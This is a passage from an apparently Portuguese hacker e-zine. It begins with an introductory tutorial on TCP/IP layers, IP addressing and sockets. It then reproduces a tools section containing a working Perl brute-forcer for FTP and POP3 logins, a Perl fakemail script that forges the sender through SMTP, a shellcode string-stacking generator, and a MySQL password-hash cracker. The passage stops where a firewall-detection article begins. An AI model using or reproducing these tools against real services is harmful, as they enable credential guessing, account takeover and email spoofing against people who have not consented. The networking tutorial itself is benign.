suas interfaces de comunicacao umas com as outras. Podemos encontrar muitas tecnologias de redes sendo usadas juntas, tais como: ppp, ethernet, wireless, etc, sendo que cada tecnologia dessas tem seus proprios protocolos, meios de conexao e taxas de transmissao, mas se torna necessario que essas sejam vistas pelas redes tcp/ip; isso eh feito pelos roteadores que fazem com que essas redes de protocolos diferentes trabalhem juntas, os roteadores enxergam de um lado as sub-redes com tecnologias diferentes e do outro suas redes tcp/ip, e em ambas se comportam como se fosse um componente fisico das duas redes distintas. Segue rabisco aih.... ------- ------- | | | | | HOST1 | | HOST2 | ------- ------- \ / \ / \ / --------------- ------ --------------- | Tecnologia | ----------- |Rotea-|----------- | | | ATM | | dor | | | | | ------ | | --------------- | INTERNET | | | | | ------ | | -------------------------------- |Rotea-| ---------- | | | HOST3 | | HOST4 | | dor | | | |------- ------- ------ --------------- | Tecnologia Ethernet |------- ------- | HOST5 | | HOST6 | ----------------------- oBS1.: Se vc percebeu bem, os roteadores que fazem a conexao da rede com outras redes como a internet fazem o trabalho de compatibilizar as operacoes entre os protocolos, tais como tcp/ip e outros. ****************** 3º Camada - Rede * ****************** A camada de rede eh formada por varios protocolos, o principal eh o IP que eh o responsavel pelo transporte dos pacotes pela rede ou por outras sub-redes, o protocolo IP nao trabalha no modo datagrama, ou seja ele nao eh orientado a conexao, assim nao sao estabelecidas ligacoes virtuais entre a origem e o destino do pacote. Esses pacotes soh contem informacoes necessarias sobre o seu transporte na rede e controle nas sub-redes utilizadas. Os pacotes podem ser fragmentados durante a comunicaçao na rede. Por funcionarem no modo datagrama, cada pacote pode ir por um lugar na rede, ou seja quando se emite uma sequencia de pacotes para determinado alvo, ele pode chegar lah por varios lugares, pois os pacotes originais podem ser fragmentados. Eles podem tambem ser dividos(fragmentados) quando chegarem a um roteador e lah o tamanho do datagrama suportado pela rede seja menor, aih tambem serah divido e mais tarde remontado com base em informacoes no cabecalho IP. Segue Rabisco de um pacote(datagrama): Formado por 32 bits(IPv4) 0 3 4 7 8 15 16 32 ------------------------------------------------------------ | versao | IHL | tipo servico | compri. total | |-------- ------------------- --------- ---------------------| | identificacao | flags | offset de fragmento | |------------------------------------------------------------| | tempo de vida | protocolo | checksum do cabecalho | |------------------------------------------------------------| | endereco de origem | |------------------------------------------------------------| | endereco de destino | |------------------------------------------------------------| | opcoes | padding | |------------------------------------------------------------| | DADOS | ------------------------------------------------------------ Versao - versao do IP (Ex. IPv4, IPv6), 4 bits IHL - comprimento do cabecalho, 4 bits tipo servico - qualidade do servico, 8 bits comprimento total - comprimento do datagram medido em octetos, 16 bits identificacao - eh necessario pra montagem dos outros fragmentos do datagrama,16 bits flags - indica se houve ou nao fragmentacao, 3 bits offset de fragmento - indica a posicao de montagem no datagrama original, 13 bits tempo de vida - tempo maximo que um datagrama(pacote) pode andar na rede, 8 bits protocolo - indica o protocolo usado para transportar os dados, 8 bits checksum do cabecalho - identifica erros por meio de um calculo que eh verificado quando o pacote chega, 16 bits endereco de origem & endereco de destino - sao os enderecos IP do emissor e destinatario, 32 bits opcoes - contem opcoes de verificacao de erros, medicao ou testes, tendo tamanho variavel padding - garante q o comprimento do cabecalho(IHL) seja sempre multiplo de 32(bits), tamanho variavel. Para tais pacotes poderem circular na rede eh necessario um endereçamento, por exemplo: quando uma estacao numa rede quer passar um pacote pra outra estacao em outra rede o roteador toma suas acoes baseado nos enderecos IP das estacoes e das redes, esses enderecos sao palavras(chaves) de 32 bits ou seja tem 4 octetos de 8 bits, e sao separados por classes para facilitar o enderecamento da estacao e da rede em questao, a questao das classes eh um assunto muito mal interpretado pelas pessoas, podemos de uma maneira bem simples determinar a classe de um endereco IP; Ex.: Para entender completamente esse assunto eh necessario saber transformar numerosdecimais em binarios (para isso tem um txt no meu site > skynet45.motdlabs.org/dicas.html que ensina passo a passo a fazer isso). Temos o IP: 200.125.68.102 Levamos em consideracao o primeiro octeto de bits, ou seja o primeiro numero do endereco IP, no nosso caso eh "200", entao seguimos um padrao: Classe A = 1 - 127 Classe B = 128 - 191 Classe c = 192 - 223 Estas são as mais conhecidas, tem tambem as classe D que eh usada pra multicast como radios on-line, e a classe E q eh usada pra pesquisas. Explicacao Geral: Endereco IP 32bits / | | \ / | | \ / | | \ 8bits+8bits+8bits+8bits | | | | 256 + 256 + 256 + 256 | | | | Endereco IP ---> 200 . 125 . 68 . 102 Quando temos enderecos de classe C, pode-se variar na determinacao de IP para as estacoes, apenas o ultimo octeto de numeros, podendo variar entre 1-254. Ex.: 192.168.1.* |_> 1-254 Classe B 182.168.*.* | |_> 1-254 | |_> 1-254 Classe A 10.*.*.* | | | | | |_> 1-254 | |_> 1-254 |_> 1-254 Agora voce se pergunta, se eu posso variar com um numero de 8 bits por que nao ateh 255? Simples, por padrao o primeiro e ultimo endereco dos IP sao determinados especialmente, o primeiro que eh o 0(zero) determina a rede que o IP estah, e o ultimo 255 serve pra acoes de broadcast(significa toda a rede), se voce pingar o endereco: 192.168.1.255 vc ira verificar quais as maquinas q estao ativas na rede 192.168.1.0, visto que o 0(zero) determina o IP da rede. Talvez nao tenha ficado claro, mas com o tempo se pega a pratica. Para mais tarde quem sabe em outro texto entendermos profundamente o processo de roteamento serah muito necessario aprender com clareza essas classes e como funcionam :). Existe tambem uma diferenca entre endereco fisico e endereco IP das maquinas na rede. O endereco fisico da estacao eh chamada de MAC, endereco este armazenado pelo fabricante da placa, jah o endereco IP da estacao eh setado pelo proprio usuario ou pelo administrador da rede em questao; A diferenca quanto ao MAC eh que este nao pode ser mudado, jah o IP sim, mas existem alguns documentos soltos poraih que provam que existem enderecos MACs iguais e que eles podem ser mudados. Para numa rede a conversacao das maquinas ocorrer elas tem ter uma tabela com enderecos MAC e IP das outras, para haver esse mapeamente utiliza-se o protocolo ARP (Adress Resoluiton Protocol), muitos confudem ARP com RARP, existe diferencas, o ARP eh quando a estacao tem o endereco IP de seu destino e quer obter o endereco MAC do destino, jah o RARP eh quando ela tem o endereco MAC de uma estacao e quer obter o endereco IP dessa maquina destino. OBs.:Todas essas mensagens sao feitas em broadcast. *********************** 2º Camada - Transporte* *********************** Dentro da arquitetura que estamos estudando temos dois protocolos que sao destinados a transporte de dados, que sao: o TCP (Transmition Control Protocol) e o UDP (User Datagram Protocol) ambos se encontram na mesma camada (tranporte), todos os dois sao destinados a transferencia de dados p2p (ponto-a-ponto) dependendo da qualidade do servico requerido pela camada inferior(aplicacao). Apesar do TCP e o UDP terem a mesma funcao, eles tem casos distintos para serem utilizados, visto o TCP ser orientado a conexao, estabelece uma conexao direta com o destino, ele se destina a conexoes que exigem uma maior qualidade do servico, sem perda de pacotes e sem nenhum erro, jah o UDP eh um protocolo extremamente rapido mas nao oferece a confianca do TCP, o UDP eh muito usado em VPNs onde se precisa muito de velocidade. Uma coisa bem interesante eh que o TCP e o UDP utilizam um metodo de transporte em conjunto com o protocolo IP, eles utilizam um tipo de multiplexacao com o IP, as mensagem a serem transmitidas pelos protocolos de transporte sao enviadas ao protocolo IP onde sao transmitidas pela rede. Um ponto tambem muito importante que faz parte da camada de rede eh o uso de portas(ports) na comunicao entre estacoes, essas portas sao representadas por numeros inteiros que significam as aplicacoes correspondetes no sistema operacional, essas portas existem tanto no TCP como no UDP e toda comunicao eh feita atraves dessas portas. Exemplos de portas sao: 22 - SSH, 25 - SMTP, 80 - HTTP, etc. Tem uma figurinha aih pra enteder melhor a multiplexacao do TCP e do UDP sobre o IP: Aplicacoes ------- ------- ------- |Porta 1| |Porta 2| |Porta n| ------- ------- ------- \ | / \ | / \ | / \ | / \ | / \ | / --------------------- | Multiplexacao | | TCP/IP | --------------------- | ----------- | | | IP | | | ----------- | < Rede > ------------------------------------------> OBS.: Ao pacote multiplexado chegar ao destino, ele sofre o processo inverso, ou seja uma desmultiplexacao. Com certeza o TCP eh bem abragente, mas ainda tem umas caracteristicas bem interesantes que podemos destacar no todo. Alem da multiplexacao de dados, ele tambem trabalha de forma em que recebe e manda dados ao mesmo tempo (full -duplex), tambem tem prioridade em dados urgentes setando uma indicativa de urgencia no pacote; para fins de seguranca na entrega ele posui uma segmentacao que eh utilizada na montagem do pacote; Caso ele tenha sido desfragmentado, existe tambem o checksum que eh um calculo matematico feito com base nos dados enviados e eh checado a cada entrega, podemos destacar ainda o estabelicemento e liberacao da conexao feita por ele, o conhecido handshake, ou aperto de maos, (three-way handshake) antes de enviar qualquer dado pela rede, ele estabelece uma conexao direta com o destino (por isso chamado de orientado a conexao), e eh liberada apenas quando se termina a transferencia. Obs. apesar do handshake ser bem simples, mas para entender mais sobre o handshake tem uns txts muito bons, como um do Jerry Slater, acho q tem um do REPOLHO tambem falando sobre o nmap que aborda isso. O UDP nao tem tantas boas 'qualidades' como o TCP, por nao ser orientado a conexao ele se torna entao um mecanismo de entrega de dados, provido apenas da multiplexacao feita com o IP, ele nao oferece nenhuma garantia de entrega de dados ou seja os pacotes podem ser perdidos, dulpicados ou ateh entregues fora da ordem, um datagrama UDP pode ou nao ter o campo de checksum, tendo ele todos os datagramas recebidos com erro sao jogados fora. (descartados) ************************ 1º Camada - Aplicacoes * ************************ As aplicacoes numa rede tcp/ip nao tem nenhum tipo de padronizacao em comum, cada aplicacao tem seu proprio padrao dentro da arquitetura e essas aplicacoes acessam diretamente a sua camada superior. Lembra qual eh? A camada de transporte pelo TCP ou pelo UDP! A unica coisa importante eh a compatibilidade no formato dos dados usados nestas aplicacoes com os varios sistemas diferentes presentes em redes tcp/ip. Vimos aih em cima na camada de transporte que o tcp/ip utiliza o conceito de portas, essas portas sao definidas de acordo com a aplicacao em questao, TCP ou UDP, essas portas tem o mesmo numero independente da estacao onde esta sendo executada. Concluimos aih que se voce tiver o numero da porta e o IP da maquina em questao voce pode localizar qualquer aplicacao dentro de uma rede tcp/ip! Sei que isso parece horrivel mas eh assim q se comeca ;). Pra podermos desenvolver aplicacoes pro tcp/ip temos que entender algumas primitivas de acesso, gosto de chamalos de 'comandos', mas como sempre que eu digo algo vem alguem e diz que eh outra coisa, entao vc chama do que vc quiser :). Voltando, quando qualquer aplicacao quer estabelecer uma conexao, a aplicacao executa um primitiva dessas, chamadas de 'sockets'. O objetivo disso eh criar um estado de espera no sistema local, tambem eh executada uma primitiva 'bind', essa grava o numero da porta associada a aplicacao em questao. Temos primitivas diferentes no TCP e no UDP. No TCP, por exemplo, quando uma aplicacao tem funcao de servir algo, (servidora) ela executa a primitiva 'listen' na qual tem funcao de colocar o sistema em condicao de espera por conexoes, a aplicacao cliente executa outra primitiva, 'connect,' na qual tem funcao de solicitar e estabelecer a conexao com a aplicacao servidora, na sequencia a aplicacao servidora executa 'accept' para finalizar o estabelecimento da conexao, durante a transmissao dos dados ambas usam as primitivas 'send' 'receive', estebelecida essa conexao nao eh mais necessario o uso do endereco IP e o numero da porta destino, visto que as mensagens trafegam sempre pela conexao estabelecida entre esse 'caminho' criado, isso acontece por que o TCP eh orientado a conexao, lembra? :) Jah no UDP que um protocolo que nao eh orientado a conexao as primitivas 'listen', 'accept', 'connect' NAO EXISTEM. Sendo assim, uma vez executadas as primitivas 'socket' e 'bind' as aplicacoes passam a trocar informacoes entre si usando as primitivas 'sendto' 'recvfrom', nessas estah incluso o endereco IP dos destino, visto nao haver nenhuma ligacao direta entre os destinos. Dentro dessas aplicacoes existentes pra facilitar o uso das redes tcp/ip estao: RPC, XDR, SMTP, FTP, NFS, TELNET, SNMP, DNS. Se o meu texto nao tive-se ficado tao grande ainda abordaria um pouco mais sobreessas aplicacoes mas isso pode ser feito vide outros textos como: NL_snmp_hacking.pdf --> SNMP pras Massas (NashLeon) TELNET --> http://hallz.motdlabs.org/textos/telnet.txt (hallucination) e etc...... O estudo dessas aplicacoes eh muito importante, na minha opiniao o DNS principalmente, a importancia dele eh tanta que ao configurar um servidor, se o DNS nao estiver corretamente configurado NADA funciona! Pretendo mais a frente escrever algo sobre ele. ********************* Finalizando:::..... * ********************* Bom! O objetivo desse humilde texto foi poder dar uma visao geral da coisa heheh. Ou seja, poder familiariza-lo com o que rola no tcp/ip. Com certeza voce pode aprender algo aqui, pois o maior incetivo que tive pra escrever txts foi: "nao importa o que vc escreve, alguem sempre aprende algo disso". Se voce jah conhecia um pouco da arquitetura da nossa amada internet, deve ter visto que muitos por ai quando vao falar de tcp/ip, misturam OSI no meio. Aqui eu procurei abordar somente o tcp/ip, agora se vc quiser aprender de OSI procure em outro lugar. Ficaria muito grato se criticas fossem feitas, afinal nao podemos melhorar sem criticas "construtivas". Agradeco a galera do grupo por manter vivo o que aprendi a pouco tempo mas tambem pretendo manter vivo pra alguem, hacking etico! That's All Folks People!!! Referencias: Arquiteturas de Redes de Computadores - Makron Books ( Patrocinio EMBRATEL) MUITO BOM! TCP/IP Tutorial and Technical Overview - IBM ( IBM RedBooks) E dicas de amigos....................... <++> ferramentas/adivinheitor.pl #!/usr/bin/perl # Adivinheitor v0.1 # MOTD Labs ( http://www.motdlabs.org ) # coded by inferninh0 (inferninho@motdlabs.org) # Descricao: Brute Force para ftp e pop3 #### use Socket; use Net::FTP; use Net::POP3; ## Main Code #### &banner; print "Daemon: "; $servico = ; chomp ($servico); ### FTP if ($servico eq "ftp") { &inicia(); if ($ftp = Net::FTP->new($host, Timeout =>5, Errmode => "return")) { &conectado(); } else { &n_conectado(); } while ($name = ) { chomp ($name); open (IN2, $password); while ($pass = ) { chomp ($pass); &cool(); if ($passin = $ftp->login($name, $pass)) { $ftp->quit(); &resultado(); } } close (IN2); } &nda(); $ftp->quit(); } ### POP3 elsif ($servico eq "pop3") { &inicia(); if ($pop = Net::POP3->new($host, Timeout =>10)) { &conectado(); } else { &n_conectado(); } while ($name = ) { chomp ($name); open (IN2, $password); while ($pass = ) { chomp ($pass); &cool(); if ($pop->login($name, $pass)) { $pop->quit(); &resultado(); } } close (IN2); } $pop->quit(); &nda(); } elsif (($servico ne "ftp") or ($servico ne "pop3")) { print "\nDaemon invalido, use ftp ou pop3...;-)\n"; } ## Sub #### sub banner { system("clear"); print "\t\t\tAdivinheitor v0.1\n"; print "\t\t\t~~~~~~~~~~~~~~~~~\n\n\n"; } print; sub inicia { print "Hostname: "; $host = ; chomp ($host); $str= inet_aton($host) or die ("\nHost $host nao encontrado... Programa fechado"); $address_in=inet_ntoa($str); print "Arquivo Username : "; $username=; chomp ($username); print "Arquivo Password : "; $password = ; chomp ($password); print "\n"; open (IN1, $username) or die "O arquivo username nao existe\n"; open (IN2, $password) or die "O arquivo password nao existe\n"; close (IN2); } sub conectado { print "conectado em $host...\n\n";} sub n_conectado { die ("Falha na conexao... daemon esta inativo...:-(\n");} sub nda { print "\nNenhuma conta valida encontrada...:-(\n\n"; close (IN1); sleep (2);} sub cool { print "Username: "; print $name; print " Password: "; print $pass; print "\n";} sub resultado { print "\n-[+]--------------Resultado----------------[+]-\n\n"; print " Username valido : $name\n"; print " Password valido : $pass\n"; sleep (2); close (IN1); close (IN2); die "\n-[+]--------------Resultado----------------[+]-\n\n";} <--> ferramentas/adivinheitor.pl <++> ferramentas/dns.c /* * Narcotic Domain Name Resolver (nao tinha um nomezinho melhor nao?) * * compilar no linux --> gcc -o dns dns.c -DLINUX * compilar no windows --> cl /DWIN32 dns.c /link ws2_32.lib */ #include #include #ifdef WIN32 #include #endif #ifdef LINUX #include /* gethostbyname, gethostbyaddr, etc */ #include /* definicao do struct in_addr */ #endif #define TAMBUF 1024 void usage(char *programname) { printf("Narcotic Domain Name Resolver ---\n"); printf("Copyright (c) - 2003 by Narcotic \n"); printf("Uso: %s \n\n",programname); } void debuging(struct hostent *h) { int i = 0; printf("Hostname: %s\n", h->h_name); while (h->h_aliases[i]) printf("Alias: %s\n", h->h_aliases[i++]); switch (h->h_addrtype) { case AF_INET: case AF_INET6: for (i = 0; h->h_addr_list[i]; ++i) printf("Address: %u.%u.%u.%u\n", (0xff & h->h_addr_list[i][0]), (0xff & h->h_addr_list[i][1]), (0xff & h->h_addr_list[i][2]), (0xff & h->h_addr_list[i][3])); } } int resolve(char *s,FILE *fp) { struct hostent *hp; unsigned long a; a = inet_addr(s); if(a != INADDR_NONE) { if((hp = gethostbyaddr((char *)&a, sizeof(a), AF_INET)) == NULL) { fprintf(stderr,"Impossivel resolver %s\n",s); return -2; } fprintf(fp,"%s\n",hp->h_name); debuging(hp); return 0; } if((hp = gethostbyname(s)) != NULL) { debuging(hp); fprintf(fp,"%u.%u.%u.%u\n", (0xff & hp->h_addr[0]), (0xff & hp->h_addr[1]), (0xff & hp->h_addr[2]), (0xff & hp->h_addr[3])); return 0; } return -1; } int main(int argc, char **argv) { char buf[TAMBUF]; char *infile, *outfile; FILE *infp, *outfp; int cnt; #ifdef WIN32 WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) return -1; #endif /* #ifdef WIN32 */ if(argc < 2) { usage(argv[0]); return -1; } infile = argv[1]; outfile = argv[2]; infp = fopen(infile,"r"); if(!infp) { fprintf(stderr,"Erro ao abrir o arquivo %s. Programa encerrado!\n",infile); return -2; } outfp = fopen(outfile,"w"); while(fgets(buf,TAMBUF,infp) != NULL) { /* remover \r\n */ cnt = strlen(buf); if(buf[cnt - 1] == '\n') cnt--; if(buf[cnt - 1] == '\r') cnt--; if(cnt == 0) continue; buf[cnt] = '\0'; resolve(buf,outfp); } fclose(infp); fclose(outfp); printf("Programa terminado!!!\n"); return 0; } <--> ferramentas/dns.c <++> ferramentas/empilha.c /* * Empilhador de strings - Copyright 2004 by Narcotic * * * Esse programa cria codigo p/ empilhar strings na pilha e ser usada num shellcode * Uso: empilha [-o] [-s sintaxe] [-r registrador] string * -o imprime os opcode * -s sintaxe sintaxe usada [att/intel] * -r registrador registrador q vai receber o end da string * (eax, ebx, ecx ou edx) * * Ex de uso: empilha -s intel -o -r edx ABCDEF * * * Por padrao o programa assume o uso do registrador eax e da sintaxe INTEL * */ #include #include #ifndef false #define false 0 #define true 1 #endif enum { ATT, INTEL }; #define PUSHA "pushl $" #define PUSHI "push " char *registers[] = { "eax", "ebx", "ecx", "edx" }; /**** construcao dos opcodes p/ o shellcode ****/ /* Esse codigo cuida apenas de alguns opcodes, limitados aos */ /* q o programa gera p/ empilhar a string, sao eles: */ /* mov, xor, push e shr */ /* cada registrador eh representado por 3 bits */ enum { EAX, /* 000 */ ECX, /* 001 */ EDX, /* 010 */ EBX, /* 011 */ ESP /* 100 */ }; typedef union _instruction { unsigned char bytes[4]; unsigned int opcode; } instruction; typedef struct _command { instruction inst; unsigned char *data; unsigned char *dissasm; struct _command *next; } command; /* 0011 0011 11 reg reg */ #define XOR_REGISTER 0x33C0 /* move valor imediato p/ registrador */ /* 1011 w reg : dados */ #define MOV_REGISTER_DATA 0xB0 /* 1000 1011 11 reg reg */ #define MOV_REGISTER_REGISTER 0x8BC0 /* tamanho dos operadores - 1 byte sig 16 bits */ #define OPERAND_SIZE 0x66 /* 0101 0 reg */ #define PUSH_REGISTER 0x50 /* 0110 1000 : dados */ #define PUSH_IMMEDIATE 0x68 /* 1100 0001 1110 1 reg : dados */ #define SHR_REGISTER_IMM 0xC1E8 /* macros */ #define XOR_RR(reg1,reg2) (XOR_REGISTER | (reg1 << 3) | reg2) #define SHR_RI(reg) (SHR_REGISTER_IMM | reg) #define MOV_RI32(reg) (MOV_REGISTER_DATA | 0x08 | reg) #define MOV_RI16(reg) ((OPERAND_SIZE << 8) | (MOV_REGISTER_DATA | 0x08 | reg)) #define MOV_RI8(reg) (MOV_REGISTER_DATA | reg) #define MOV_RR(reg1,reg2) (MOV_REGISTER_REGISTER | (reg1 << 3) | reg2) #define PUSH_R(reg) (PUSH_REGISTER | reg) #define PUSH_I() (PUSH_IMMEDIATE) int main(int argc, char **argv) { int len; char *str, *reg, *push; char reg_opcode; char buff[64] = { 0 }; char *param; int sintaxe, i; int print_opcodes; command *tmp, *actual, *list = NULL; if(argc < 2) { printf("Empilhador de strings 32-bit para 80x86\n"); printf("Copyright (c) by Narcotic \n"); printf(" Uso: empilha [-o] [-s sintaxe] [-r registrador] string\n"); printf(" -o imprime os opcode\n"); printf(" -s sintaxe sintaxe usada [att/intel]\n"); printf(" -r registrador registrador q vai receber o end da string\n"); printf(" (eax, ebx, ecx ou edx\n\n"); return -1; } /* valores assumidos por padrao */ reg = registers[0]; /* EAX */ reg_opcode = EAX; sintaxe = INTEL; print_opcodes = false; /* trata a entrada */ for(i = 1; i < argc; i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'o': print_opcodes = true; break; case 's': if((i + 1) == argc) { printf("argumento invalido \"-s\": falta sintaxe\n"); return -1; } param = argv[i + 1]; if(strcmp(param,"att") == 0) sintaxe = ATT; else if(strcmp(param,"intel") == 0) sintaxe = INTEL; else { printf("argumento invalido \"-s\": sintaxe inexistente\n"); return -1; } break; case 'r': if((i + 1) == argc) { printf("argumento invalido \"-r\": falta registrador\n"); return -1; } param = argv[i + 1]; if(param[0] == 'e' && param[2] == 'x') { int reg_num = param[1] - 'a'; if(reg_num >= 0 && reg_num < 4) { reg = registers[reg_num]; switch(reg_num) { case 0: reg_opcode = EAX; break; case 1: reg_opcode = EBX; break; case 2: reg_opcode = ECX; break; case 3: reg_opcode = EDX; break; } } else { printf("argumento invalido \"-r\": registrador desconhecido\n"); return -1; } } else { printf("argumento invalido \"-r\": registrador desconhecido\n"); return -1; } break; default: /* nao eh ultimo parametro *string* */ if(i != argc - 1) { printf("parametro desconhecido\n"); return -1; } } } } str = argv[argc - 1]; len = strlen(str); /* aloca memoria p/ o primeiro elemento da nossa lista */ list = (command *)malloc(sizeof(command)); list->next = NULL; actual = tmp = list; /* apenas 4 caracteres podem ser empilhados por vez */ switch(len % 4) { /* nossa string eh multipla de 4 */ /* nao faz nda */ case 0: break; /* esta sobrando um byte */ /* carrega ele em xl (al, bl, cl..) */ case 1: tmp->inst.opcode = MOV_RI8(reg_opcode); tmp->data = (char *)malloc(2 * sizeof(char)); strcpy(tmp->data,str + len - 1); if(sintaxe == INTEL) sprintf(buff,"mov %cl, 0x%02X",reg[1],str[len - 1]); else sprintf(buff,"movl $0x%02X, %%%cl",str[len - 1],reg[1]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; /* 2 bytes sobrando */ /* joga em xx (ax, bx, cx..) */ case 2: tmp->inst.opcode = MOV_RI16(reg_opcode); tmp->data = (char *)malloc(3 * sizeof(char)); strcpy(tmp->data,str + len - 2); if(sintaxe == INTEL) sprintf(buff,"mov %cx, 0x%02X%02X",reg[1],str[len - 1],str[len - 2]); else sprintf(buff,"movl $0x%02X%02X, %%%cx",str[len - 1],str[len - 2],reg[1]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; /* 3 bytes sobrando -- aki a coisa complica */ /* precisamos mover 3 bytes e nao deixar sobrar 0x00 */ /* entao dividimos em 2 instrucoes, um mov com 3 bytes + 1 byte de lixo */ /* e um shr, q vai tirar o lixo p/ gente e depois empilha :) */ case 3: tmp->inst.opcode = MOV_RI32(reg_opcode); tmp->data = (char *)malloc(5 * sizeof(char)); strcpy(tmp->data,str + len - 3); strcat(tmp->data,"\xFF"); if(sintaxe == INTEL) sprintf(buff,"mov %s, 0x%02X%02X%02XFF",reg,str[len - 1],str[len - 2],str[len - 3]); else sprintf(buff,"movl $0x%02X%02X%02XFF, %%%s",str[len - 1],str[len - 2],str[len - 3],reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = SHR_RI(reg_opcode); tmp->data = (char *)malloc(2 * sizeof(char)); strcpy(tmp->data,"\x08"); if(sintaxe == INTEL) sprintf(buff,"shr %s, 8",reg); else sprintf(buff,"shr $0x8, %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); break; } /* push p/ intel ou p/ AT&T */ if(sintaxe == INTEL) push = PUSHI; else push = PUSHA; actual = tmp; /* coloca o xor como o primeiro na lista */ tmp = (command *)malloc(sizeof(command)); tmp->next = list; list = tmp; tmp->inst.opcode = XOR_RR(reg_opcode,reg_opcode); tmp->data = NULL; if(sintaxe == INTEL) sprintf(buff,"xor %s, %s",reg,reg); else sprintf(buff,"xorl %%%s, %%%s",reg,reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); if(len % 4) { tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; } else tmp = actual; tmp->inst.opcode = PUSH_R(reg_opcode); tmp->data = NULL; /* empilha o registrador contendo o final da string */ if(sintaxe == INTEL) sprintf(buff,"push %s",reg); else sprintf(buff,"pushl %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; /* string de cabeca p/ baixo */ for(i = len - (len % 4) - 4; i >= 0; i -= 4) { tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = PUSH_I(); tmp->data = (char *)malloc(sizeof(char) * 5); memcpy(tmp->data,str + i,4); tmp->data[4] = 0; sprintf(buff,"%s0x%02X%02X%02X%02X",push,str[i + 3],str[i + 2],str[i + 1],str[i]); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); actual = tmp; } /* move o end da string p/ registrador */ tmp = (command *)malloc(sizeof(command)); tmp->next = NULL; actual->next = tmp; tmp->inst.opcode = MOV_RR(reg_opcode,ESP); tmp->data = NULL; if(sintaxe == INTEL) sprintf(buff,"mov %s, esp",reg); else sprintf(buff,"movl %%esp, %%%s",reg); tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char)); strcpy(tmp->dissasm,buff); for(tmp = list; tmp; tmp = tmp->next) { if(print_opcodes) { if(tmp->inst.bytes[1]) sprintf(buff,"\\x%02X\\x%02X",tmp->inst.bytes[1],tmp->inst.bytes[0]); else sprintf(buff,"\\x%02X",tmp->inst.bytes[0]); if(tmp->data != NULL) { len = strlen(tmp->data); for(i = 0; i < len; i++) sprintf(buff,"%s%\\x%02X",buff,tmp->data[i]); } printf("% -24s /* ",buff); } printf("%s",tmp->dissasm); if(print_opcodes) printf(" */"); printf("\n"); } return 0; } <--> ferramentas/empilha.c <++> ferramentas/falsificator.pl #!usr/bin/perl # Falsificator v 0.1 -> programa para envio de fakemail # MOTD Labs -----------> http://www.motdlabs.org # coded by inferninh0 (inferninho@motdlabs.org) ### print STDERR "\n-[+]--------------------------------[+]-\n"; print STDERR " Falsificator by inferninh0\n"; print STDERR "-[+]--------------------------------[+]-\n"; use IO::Socket; my ($HOST,$MAIL,$RCPT,$SUBJECT,$MSG); print "\n[+] Servidor SMTP: "; chomp($HOST=); print "[+] Mail Remetente: "; chomp($MAIL=); print "[+] Mail Destinatario: "; chomp($RCPT=); print "[+] Assunto: "; chomp($SUBJECT=); print "[+] Arquivo contendo a menssagem: "; chomp($MSG=); open(INFO, $MSG); @msg = ; my $socket = IO::Socket::INET->new( PeerAddr => "$HOST", PeerPort => "25", Prot => "tcp" ); die "Nao foi possivel criar a socket\n" unless $socket; if ($socket) { print $socket "helo localhost\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "mail from: $MAIL\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "rcpt to: $RCPT \n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "data\n" or die "SERVIDOR NAO VULNERAVEL...:("; sleep 1; print $socket "From: $MAIL\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "To: $RCTP\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "Subject: $SUBJECT\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "\n"; sleep 1; print $socket "@msg\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; print $socket "\n"; sleep 1; print $socket ".\n" or die "ERRO NO ENVIO DA MSG...:("; sleep 1; } close ($socket); close(INFO); print "\n[+] Fakemail enviado...=D\n\n"; exit; <--> ferramentas/falsificator.pl <++> ferramentas/mysql_passwd.c /* * Crack MySQL passwords with wordlist. * by Narcotic - * */ #include #include typedef unsigned char uchar; typedef unsigned long ulong; /* * riped of MySQL source code * file: libmysql/password.c */ void hash_password(ulong *result, const char *password) { register ulong nr = 1345345333L, add=7, nr2=0x12345671L; ulong tmp; for (; *password ; password++) { if (*password == ' ' || *password == '\t') continue; /* skipp space in password */ tmp = (ulong) (uchar) *password; nr ^= (((nr & 63)+add)*tmp)+ (nr << 8); nr2 += (nr2 << 8) ^ nr; add += tmp; } result[0] = nr & (((ulong) 1L << 31) -1L); /* Don't use sign bit (str2int) */ result[1] = nr2 & (((ulong) 1L << 31) -1L); } void print_hash(char *pass) { ulong result[2]; hash_password(result,pass); printf("0x%8x%8x\n",result[0],result[1]); } int main() { char str[10]; int i; str[1] = 0; for(i = 240; i < 255; i++) { str[0] = i; print_hash(str); } return 0; } <--> ferramentas/mysql_passwd =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[14]-=[Detecção de Firewalls]-=|c4ri0c4|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Detecção de Firewalls - By C4ri0c4 